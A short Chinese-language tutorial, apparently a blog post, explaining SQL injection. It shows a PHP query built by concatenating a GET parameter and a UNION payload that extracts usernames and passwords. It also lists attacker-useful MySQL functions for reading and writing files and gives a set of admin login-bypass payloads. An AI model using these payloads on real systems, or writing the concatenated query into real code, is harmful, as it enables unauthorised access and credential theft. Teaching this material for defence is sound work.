简介
Web应用开发过程中,为了内容的快速更新,很多开发者使用数据库进行数据存储。而由于开发者在程序编写过程中,对传入用户数据的过滤不严格,将可能存在的攻击载荷拼接到SQL查询语句中,再将这些查询语句传递给后端的数据库执行,从而引发实际执行的语句与预期功能不一致的情况。这种攻击被称为
SQL注入攻击
SQL注入大致意思就是通过可控输入点达到非预期执行数据库语句,这里的非预期指的是,拼接相应的语句可以拿到数据库里面的其他数据
比如下面的语句:
$sql = "SELECT username,password FROM users WHERE id = ".$_GET["id"];
对于他的预期操作,一般一个id是用来索引的,传入的值应该是:
$_GET["id"] = 1; $_GET["id"] = 2;
所以预期执行的语句应该是:
$sql = "SELECT username,password FROM users WHERE id = 1"; $sql = "SELECT username,password FROM users WHERE id = 2"; ......
在没有过滤的情况下,我们能够在后面拼接我们自己的语句
比如,我们传入的值:
$_GET["id"] ="1 union select username,password from user"
那么最后执行的语句就是:
$sql = "SELECT username,password FROM users WHERE id = 1 union select username,password from user;"
这样就造成了非预期语句的执行,我们在获得 users
表中的预期数据的同时也获得了 users
表中的非预期数据。
常用参数
- user():当前数据库用户
- database():当前数据库名
- version():当前使用的数据库版本
- @@datadir:数据库存储数据路径
- concat():联合数据,用于联合两条数据结果。如 concat(username,0x3a,password)
- group_concat():和 concat() 类似,如 group_concat(DISTINCT+user,0x3a,password),用于把多条数据一次注入出来
- concat_ws():用法类似
- hex() 和 unhex():用于 hex 编码解码
- ASCII():返回字符的 ASCII 码值
- CHAR():把整数转换为对应的字符
- load_file():以文本方式读取文件,在 Windows 中,路径设置为 \\
- select xxoo into outfile '路径':权限较高时可直接写文件
后台万能密码
admin' -- admin' # admin'/* ' or 1=1-- ' or 1=1# ' or 1=1/* ') or '1'='1-- ') or ('1'='1-- 以不同的用户登陆 ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
Comments NOTHING